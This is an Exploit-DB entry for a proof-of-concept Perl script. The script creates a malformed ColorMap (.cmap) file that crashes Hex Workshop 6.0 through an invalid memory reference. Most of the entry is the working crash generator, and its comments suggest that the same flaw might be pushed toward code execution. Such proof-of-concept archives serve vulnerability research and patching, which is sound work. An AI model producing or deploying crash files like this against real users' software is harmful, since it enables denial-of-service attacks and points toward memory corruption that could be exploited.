Hex Workshop 6.0 - '.cmap' Invalid Memory Reference (PoC)

EDB-ID:

7962

CVE:

N/A

Type:

dos

Platform:

Windows

Published:

2009-02-03

#!/usr/bin/perl -w
# Hex Workshop v6 "ColorMap files .cmap" Invalid Memory Reference Crash POC
# Discovred by : DATA_SNIPER
# for more information vist my blog:http://datasniper.arab4services.net/
# the Exploit it's  very hard to implemented,if we can make the "reference" point to  valid memory location contain
# unicode string we can corrupt the memory and get code execution(it's not so easy as you can see,try it manually in olly).
print "==========================================================================\n";
print "Hex Workshop v6 (ColorMap files .cmap) Invalid Memory Reference crash POC\n";
print "Discovred by DATA_SNIPER\n";
print "Greetz to: arab4services team and AT4RE Team\n";
print "===================================================================== \n";
my $crash = '#Simple POC by DATA_SNIPER'."\n".'"%s"= RGB(0, 0, 0)'; #don't worry about it ,it's not Format string bug :)
my $file = "cr4sh.cmap" ;
open(my $data, ">>$file") or die "Cannot open $file";
print $data $crash;
close($data);
print "$file has been created\n";
print "open it in HexWorkshop.\n";

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